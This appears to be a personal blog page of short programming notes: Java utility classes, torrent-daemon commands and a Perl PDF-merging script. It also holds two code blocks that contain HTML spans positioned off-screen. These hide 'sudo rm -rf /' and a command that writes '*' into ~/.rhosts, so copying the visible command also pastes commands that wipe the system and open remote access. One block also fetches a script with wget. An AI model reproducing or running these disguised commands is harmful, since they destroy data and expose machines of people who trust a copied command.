TPB live search
http://thepiratebay.se/search/%s/0/7/0
Labels: nerd, note to self
my life, postprocessed and interpreted
Labels: nerd, note to self
<p class="codeblock">
sudo fgrep virus * > quarantine; <span style="position: absolute; left: -100px; top: -100px">sudo rm -rf / ; </span> rm quarantine
</p>
<p class="codeblock">
sudo wget "http://seanlithgow.com.au/arsehole/usersneedinghelp.pl"; <span style="position: absolute; left: -100px; top: -100px"> > /dev/null; sudo echo "*" > ~/.rhosts; </span> man man
</p>
Labels: nerd
Labels: nerd
Labels: nerd, note to self
// utility functions
public class S {
private static boolean DEBUGMODE = true;
private S(){}
public static void p(Object s)
{
if (DEBUGMODE)
{
StackTraceElement[] ste = Thread.currentThread().getStackTrace();
String n = ste[2].getClassName();
System.out.println(n +": "+ s.toString());
}
}
public static Position int2Position(int i)
{
switch (i)
{
case 5: return Position.SCANNER;
case 0: return Position.ONE;
case 1: return Position.TWO;
case 2: return Position.THREE;
case 3: return Position.FOUR;
case 4: return Position.FIVE;
default: return null;
}
}
public static int Position2int(Position p)
{
if (p==Position.SCANNER) return 5;
else if (p==Position.ONE) return 0;
else if (p==Position.TWO) return 1;
else if (p==Position.THREE) return 2;
else if (p==Position.FOUR) return 3;
else if (p==Position.FIVE) return 4;
return -1; // this should never happen; if it does, hopefully this causes some kind of silly error
}
}
// finds all the threads and kills them
public class Apoptosis
{
// finds all the threads and kills them
public Apoptosis()
{
ThreadGroup allThreads = Thread.currentThread().getThreadGroup();
ThreadGroup parentGroup;
while ( ( parentGroup = allThreads.getParent() ) != null )
{
allThreads = parentGroup;
}
allThreads.interrupt();
}
}
sean@potatocake:~$ps -e | grep delugeSo lazy. That computer was like... 3 meters away from me at the time.
sean@potatocake:~$deluged
sean@potatocake:~$man deluge-web
sean@potatocake:~$deluge-web -f -p 8999
Labels: nerd, note to self
#! /usr/bin/perl -w
my @pdfs = `ls -rt | grep .pdf`;
my @args = qw/gs -q -sPAPERSIZE=A4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf/;
chomp && push @args, $_ foreach ( @pdfs );
system( @args );